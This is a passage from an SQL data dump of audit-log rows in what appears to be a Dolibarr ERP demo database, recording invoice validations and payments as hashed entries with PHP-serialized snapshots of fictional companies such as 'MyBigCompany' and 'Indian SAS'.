street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:3:\"ref\";s:1:\"4\";s:4:\"date\";i:1578600000;s:9:\"type_code\";s:0:\"\";s:11:\"payment_num\";s:0:\"\";s:4:\"note\";s:0:\"\";s:6:\"amount\";d:10;}',12,1,0,'2020-01-10 05:08:43','Alice Adminson',''),(37,'2020-01-10 01:17:51','PAYMENT_VARIOUS_MODIFY',10.00000000,'214ad5673f893c2da41a8c87ccbcae92dccf17c9d4a13b3d04a9497d21bf68b8','ffbebb278eaa1c75f0cf5afdd05c8367887615a7329f2b3ab628b8f0da10f9d8','payment_various',4,'4','2020-01-10 00:00:00','O:8:\"stdClass\":7:{s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:3:\"ref\";s:1:\"4\";s:4:\"date\";i:1578600000;s:9:\"type_code\";s:0:\"\";s:11:\"payment_num\";s:0:\"\";s:4:\"note\";s:0:\"\";s:6:\"amount\";d:10;}',12,1,0,'2020-01-10 05:17:51','Alice Adminson',''),(38,'2020-01-16 01:22:16','BILL_VALIDATE',123.00000000,'aae0a1eb8b3da6686020252194f47ce82301fb604ee213ae120a2885197735d5','b414061da9abbd2dec7153a7d53978c177c5c5f55ed8ace177a02e46e7a74312','facture',221,'AC2001-0001','2020-01-16 00:00:00','O:8:\"stdClass\":12:{s:10:\"thirdparty\";O:8:\"stdClass\":29:{s:4:\"name\";s:16:\"Magic Food Store\";s:10:\"name_alias\";s:0:\"\";s:7:\"address\";s:22:\"65 holdywood boulevard\";s:3:\"zip\";s:6:\"123456\";s:4:\"town\";s:7:\"BigTown\";s:10:\"state_code\";N;s:5:\"phone\";N;s:3:\"fax\";s:4:\"0101\";s:5:\"email\";s:18:\"myemail@domain.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:0:\"\";s:7:\"idprof2\";s:0:\"\";s:7:\"idprof3\";s:10:\"10/10/2010\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:0:\"\";s:15:\"localtax1_assuj\";N;s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_assuj\";N;s:15:\"localtax2_value\";s:5:\"0.000\";s:8:\"managers\";N;s:7:\"capital\";s:10:\"0.00000000\";s:11:\"typent_code\";s:10:\"TE_UNKNOWN\";s:20:\"forme_juridique_code\";N;s:11:\"code_client\";s:11:\"CU1301-0008\";s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"ES\";}s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:4:\"date\";i:1579129200;s:10:\"ref_client\";N;s:4:\"type\";s:1:\"3\";s:8:\"total_ht\";d:123;s:9:\"total_tva\";d:0;s:9:\"total_ttc\";d:123;s:12:\"revenuestamp\";s:10:\"0.00000000\";s:11:\"invoiceline\";a:1:{i:1;O:8:\"stdClass\":17:{s:3:\"ref\";N;s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:12:\"123.00000000\";s:23:\"multicurrency_total_tva\";s:10:\"0.00000000\";s:23:\"multicurrency_total_ttc\";s:12:\"123.00000000\";s:3:\"qty\";s:1:\"1\";s:12:\"product_type\";s:1:\"0\";s:12:\"vat_src_code\";s:0:\"\";s:6:\"tva_tx\";s:5:\"0.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:8:\"total_ht\";s:12:\"123.00000000\";s:9:\"total_tva\";s:10:\"0.00000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:12:\"123.00000000\";s:9:\"info_bits\";s:1:\"0\";}}s:3:\"ref\";s:11:\"AC2001-0001\";s:11:\"note_public\";N;}',12,1,0,'2020-01-16 02:22:16','Alice Adminson',''),(39,'2020-01-16 01:33:27','BILL_VALIDATE',20.50000000,'777eb88a0b91c6d376881534a7c84a9b9ee5a6d7efedbae3b0c00d7e36bacba9','b78e5b5909c49c575142b429f2d09abb2d19c5545f815a1cabe0f2ed80ded6e4','facture',224,'AC2001-0002','2020-01-16 00:00:00','O:8:\"stdClass\":12:{s:10:\"thirdparty\";O:8:\"stdClass\":29:{s:4:\"name\";s:16:\"Magic Food Store\";s:10:\"name_alias\";s:0:\"\";s:7:\"address\";s:22:\"65 holdywood boulevard\";s:3:\"zip\";s:6:\"123456\";s:4:\"town\";s:7:\"BigTown\";s:10:\"state_code\";N;s:5:\"phone\";N;s:3:\"fax\";s:4:\"0101\";s:5:\"email\";s:18:\"myemail@domain.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:0:\"\";s:7:\"idprof2\";s:0:\"\";s:7:\"idprof3\";s:10:\"10/10/2010\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:0:\"\";s:15:\"localtax1_assuj\";N;s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_assuj\";N;s:15:\"localtax2_value\";s:5:\"0.000\";s:8:\"managers\";N;s:7:\"capital\";s:10:\"0.00000000\";s:11:\"typent_code\";s:10:\"TE_UNKNOWN\";s:20:\"forme_juridique_code\";N;s:11:\"code_client\";s:11:\"CU1301-0008\";s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"ES\";}s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:4:\"date\";i:1579129200;s:10:\"ref_client\";N;s:4:\"type\";s:1:\"3\";s:8:\"total_ht\";d:20.5;s:9:\"total_tva\";d:0;s:9:\"total_ttc\";d:20.5;s:12:\"revenuestamp\";s:10:\"0.00000000\";s:11:\"invoiceline\";a:1:{i:1;O:8:\"stdClass\":17:{s:3:\"ref\";N;s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:11:\"20.50000000\";s:23:\"multicurrency_total_tva\";s:10:\"0.00000000\";s:23:\"multicurrency_total_ttc\";s:11:\"20.50000000\";s:3:\"qty\";s:1:\"1\";s:12:\"product_type\";s:1:\"0\";s:12:\"vat_src_code\";s:0:\"\";s:6:\"tva_tx\";s:5:\"0.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:8:\"total_ht\";s:11:\"20.50000000\";s:9:\"total_tva\";s:10:\"0.00000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:11:\"20.50000000\";s:9:\"info_bits\";s:1:\"0\";}}s:3:\"ref\";s:11:\"AC2001-0002\";s:11:\"note_public\";N;}',12,1,0,'2020-01-16 02:33:27','Alice Adminson',''),(40,'2020-01-16 01:36:48','PAYMENT_CUSTOMER_CREATE',20.50000000,'cb03ceef89e1630e5a3ba8b3b1ca6c77e42b97fc2884a661c04e9e5c8b3afa1e','18bed0f0566b20ffa32c49c901cfc8b46485ef2172b22c676cef07ce8bd2d90b','payment',40,'PAY2001-0006','2020-01-16 12:00:00','O:8:\"stdClass\":8:{s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:3:\"ref\";s:12:\"PAY2001-0006\";s:4:\"date\";i:1579172400;s:9:\"type_code\";s:3:\"VIR\";s:11:\"payment_num\";N;s:4:\"note\";s:0:\"\";s:12:\"payment_part\";a:1:{i:1;O:8:\"stdClass\":3:{s:6:\"amount\";s:4:\"20.5\";s:10:\"thirdparty\";O:8:\"stdClass\":29:{s:4:\"name\";s:16:\"Magic Food Store\";s:10:\"name_alias\";s:0:\"\";s:7:\"address\";s:22:\"65 holdywood boulevard\";s:3:\"zip\";s:6:\"123456\";s:4:\"town\";s:7:\"BigTown\";s:10:\"state_code\";N;s:5:\"phone\";N;s:3:\"fax\";s:4:\"0101\";s:5:\"email\";s:18:\"myemail@domain.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:0:\"\";s:7:\"idprof2\";s:0:\"\";s:7:\"idprof3\";s:10:\"10/10/2010\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:0:\"\";s:15:\"localtax1_assuj\";N;s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_assuj\";N;s:15:\"localtax2_value\";s:5:\"0.000\";s:8:\"managers\";N;s:7:\"capital\";s:10:\"0.00000000\";s:11:\"typent_code\";s:10:\"TE_UNKNOWN\";s:20:\"forme_juridique_code\";N;s:11:\"code_client\";s:11:\"CU1301-0008\";s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"ES\";}s:7:\"invoice\";O:8:\"stdClass\":9:{s:4:\"date\";i:1579129200;s:10:\"ref_client\";N;s:4:\"type\";s:1:\"3\";s:8:\"total_ht\";s:11:\"20.50000000\";s:9:\"total_tva\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:11:\"20.50000000\";s:12:\"revenuestamp\";s:10:\"0.00000000\";s:3:\"ref\";s:11:\"AC2001-0002\";s:11:\"note_public\";N;}}}s:6:\"amount\";d:20.5;}',12,1,0,'2020-01-16 02:36:48','Alice Adminson',''),(41,'2020-01-19 13:51:43','BILL_VALIDATE',239.20000000,'7f38eaf315003f652b72fd27e55e71010a5ed0339086aa100b9a91a6045bb06f','26d074106c5f096ea1795ce7ed399cda6c2b2d5ac78dd9c2e152a0a0aa6ef47b','facture',227,'AC2001-0003','2020-01-19 00:00:00','O:8:\"stdClass\":12:{s:10:\"thirdparty\";O:8:\"stdClass\":29:{s:4:\"name\";s:10:\"Indian SAS\";s:10:\"name_alias\";s:0:\"\";s:7:\"address\";s:13:\"1 alalah road\";s:3:\"zip\";N;s:4:\"town\";s:5:\"Delhi\";s:10:\"state_code\";N;s:5:\"phone\";N;s:3:\"fax\";N;s:5:\"email\";N;s:7:\"barcode\";N;s:7:\"idprof1\";s:0:\"\";s:7:\"idprof2\";s:0:\"\";s:7:\"idprof3\";s:0:\"\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:0:\"\";s:15:\"localtax1_assuj\";N;s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_assuj\";N;s:15:\"localtax2_value\";s:5:\"0.000\";s:8:\"managers\";N;s:7:\"capital\";s:13:\"5000.00000000\";s:11:\"typent_code\";s:8:\"TE_SMALL\";s:20:\"forme_juridique_code\";N;s:11:\"code_client\";s:11:\"CU1212-0007\";s:16:\"code_fournisseur\";s:11:\"SU1212-0005\";s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:4:\"date\";i:1579388400;s:10:\"ref_client\";N;s:4:\"type\";s:1:\"3\";s:8:\"total_ht\";d:200;s:9:\"total_tva\";d:39.2;s:9:\"total_ttc\";d:239.2;s:12:\"revenuestamp\";s:10:\"0.00000000\";s:11:\"invoiceline\";a:1:{i:1;O:8:\"stdClass\":17:{s:3:\"ref\";N;s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:12:\"200.00000000\";s:23:\"multicurrency_total_tva\";s:11:\"39.20000000\";s:23:\"multicurrency_total_ttc\";s:12:\"239.20000000\";s:3:\"qty\";s:1:\"1\";s:12:\"product_type\";s:1:\"0\";s:12:\"vat_src_code\";s:0:\"\";s:6:\"tva_tx\";s:6:\"19.600\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:8:\"total_ht\";s:12:\"200.00000000\";s:9:\"total_tva\";s:11:\"39.20000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:12:\"239.20000000\";s:9:\"info_bits\";s:1:\"0\";}}s:3:\"ref\";s:11:\"AC2001-0003\";s:11:\"note_public\";N;}',12,1,0,'2020-01-19 14:51:43','Alice Adminson',''),(42,'2020-01-19 14:01:26','BILL_VALIDATE',50.54000000,'107572ffe2f1ccf1ee4fe7b39c5a4ed40a485c1d37c926fbff8a0e420396d641','352ac5e380c996d7bff798c1369f8a85e86cc98a2864e278cbe0cb6b309c12a5','facture',228,'AC2001-0004','2020-01-19 00:00:00','O:8:\"stdClass\":12:{s:10:\"thirdparty\";O:8:\"stdClass\":29:{s:4:\"name\";s:10:\"Indian SAS\";s:10:\"name_alias\";s:0:\"\";s:7:\"address\";s:13:\"1 alalah road\";s:3:\"zip\";N;s:4:\"town\";s:5:\"Delhi\";s:10:\"state_code\";N;s:5:\"phone\";N;s:3:\"fax\";N;s:5:\"email\";N;s:7:\"barcode\";N;s:7:\"idprof1\";s:0:\"\";s:7:\"idprof2\";s:0:\"\";s:7:\"idprof3\";s:0:\"\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:0:\"\";s:15:\"localtax1_assuj\";N;s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_assuj\";N;s:15:\"localtax2_value\";s:5:\"0.000\";s:8:\"managers\";N;s:7:\"capital\";s:13:\"5000.00000000\";s:11:\"typent_code\";s:8:\"TE_SMALL\";s:20:\"forme_juridique_code\";N;s:11:\"code_client\";s:11:\"CU1212-0007\";s:16:\"code_fournisseur\";s:11:\"SU1212-0005\";s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:4:\"date\";i:1579388400;s:10:\"ref_client\";N;s:4:\"type\";s:1:\"3\";s:8:\"total_ht\";d:48.6;s:9:\"total_tva\";d:1.94;s:9:\"total_ttc\";d:50.54;s:12:\"revenuestamp\";s:10:\"0.00000000\";s:11:\"invoiceline\";a:2:{i:1;O:8:\"stdClass\":17:{s:3:\"ref\";N;s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:11:\"50.00000000\";s:23:\"multicurrency_total_tva\";s:10:\"2.00000000\";s:23:\"multicurrency_total_ttc\";s:11:\"52.00000000\";s:3:\"qty\";s:1:\"1\";s:12:\"product_type\";s:1:\"0\";s:12:\"vat_src_code\";s:0:\"\";s:6:\"tva_tx\";s:5:\"4.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:8:\"total_ht\";s:11:\"50.00000000\";s:9:\"total_tva\";s:10:\"2.00000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:11:\"52.00000000\";s:9:\"info_bits\";s:1:\"0\";}i:2;O:8:\"stdClass\":17:{s:3:\"ref\";N;s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:11:\"-1.40000000\";s:23:\"multicurrency_total_tva\";s:11:\"-0.06000000\";s:23:\"multicurrency_total_ttc\";s:11:\"-1.46000000\";s:3:\"qty\";s:1:\"1\";s:12:\"product_type\";s:1:\"0\";s:12:\"vat_src_code\";s:0:\"\";s:6:\"tva_tx\";s:5:\"4.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:8:\"total_ht\";s:11:\"-1.40000000\";s:9:\"total_tva\";s:11:\"-0.06000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:11:\"-1.46000000\";s:9:\"info_bits\";s:1:\"0\";}}s:3:\"ref\";s:11:\"AC2001-0004\";s:11:\"note_public\";N;}',12,1,0,'2020-01-19 15:01:26','Alice Adminson',''),(43,'2020-01-19 14:04:53','BILL_VALIDATE',50.54000000,'795f9c5b741f360e3194ac8b3bb163c244b2761125f7507935baa44b319c624a','8cbb81e210f60d71b33a7fdcae0202721c2b4a8cdd59fe77ff2a8942839159b4','facture',228,'AC2001-0004','2020-01-19 00:00:00','O:8:\"stdClass\":12:{s:10:\"thirdparty\";O:8:\"stdClass\":29:{s:4:\"name\";s:10:\"Indian SAS\";s:10:\"name_alias\";s:0:\"\";s:7:\"address\";s:13:\"1 alalah road\";s:3:\"zip\";N;s:4:\"town\";s:5:\"Delhi\";s:10:\"state_code\";N;s:5:\"phone\";N;s:3:\"fax\";N;s:5:\"email\";N;s:7:\"barcode\";N;s:7:\"idprof1\";s:0:\"\";s:7:\"idprof2\";s:0:\"\";s:7:\"idprof3\";s:0:\"\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:0:\"\";s:15:\"localtax1_assuj\";N;s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_assuj\";N;s:15:\"localtax2_value\";s:5:\"0.000\";s:8:\"managers\";N;s:7:\"capital\";s:13:\"5000.00000000\";s:11:\"typent_code\";s:8:\"TE_SMALL\";s:20:\"forme_juridique_code\";N;s:11:\"code_client\";s:11:\"CU1212-0007\";s:16:\"code_fournisseur\";s:11:\"SU1212-0005\";s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:4:\"date\";i:1579388400;s:10:\"ref_client\";N;s:4:\"type\";s:1:\"3\";s:8:\"total_ht\";d:48.6;s:9:\"total_tva\";d:1.94;s:9:\"total_ttc\";d:50.54;s:12:\"revenuestamp\";s:10:\"0.00000000\";s:11:\"invoiceline\";a:2:{i:1;O:8:\"stdClass\":17:{s:3:\"ref\";N;s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:11:\"50.00000000\";s:23:\"multicurrency_total_tva\";s:10:\"2.00000000\";s:23:\"multicurrency_total_ttc\";s:11:\"52.00000000\";s:3:\"qty\";s:1:\"1\";s:12:\"product_type\";s:1:\"0\";s:12:\"vat_src_code\";s:0:\"\";s:6:\"tva_tx\";s:5:\"4.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:8:\"total_ht\";s:11:\"50.00000000\";s:9:\"total_tva\";s:10:\"2.00000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:11:\"52.00000000\";s:9:\"info_bits\";s:1:\"0\";}i:2;O:8:\"stdClass\":17:{s:3:\"ref\";N;s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:11:\"-1.40000000\";s:23:\"multicurrency_total_tva\";s:11:\"-0.06000000\";s:23:\"multicurrency_total_ttc\";s:11:\"-1.46000000\";s:3:\"qty\";s:1:\"1\";s:12:\"product_type\";s:1:\"0\";s:12:\"vat_src_code\";s:0:\"\";s:6:\"tva_tx\";s:5:\"4.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:8:\"total_ht\";s:11:\"-1.40000000\";s:9:\"total_tva\";s:11:\"-0.06000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:11:\"-1.46000000\";s:9:\"info_bits\";s:1:\"0\";}}s:3:\"ref\";s:11:\"AC2001-0004\";s:11:\"note_public\";N;}',12,1,0,'2020-01-19 15:04:53','Alice Adminson',''),(44,'2020-01-19 14:13:07','BILL_VALIDATE',50.54000000,'0c5b79703d1db88579a1fdb74053596defebddb7a1e6d4c5c8b065729be10201','41669e482d1e5e7a58c132c2bf85bc75372cadb4d9b97047a98cc74a9d1fd767','facture',228,'AC2001-0004','2020-01-19 00:00:00','O:8:\"stdClass\":12:{s:10:\"thirdparty\";O:8:\"stdClass\":29:{s:4:\"name\";s:10:\"Indian SAS\";s:10:\"name_alias\";s:0:\"\";s:7:\"address\";s:13:\"1 alalah 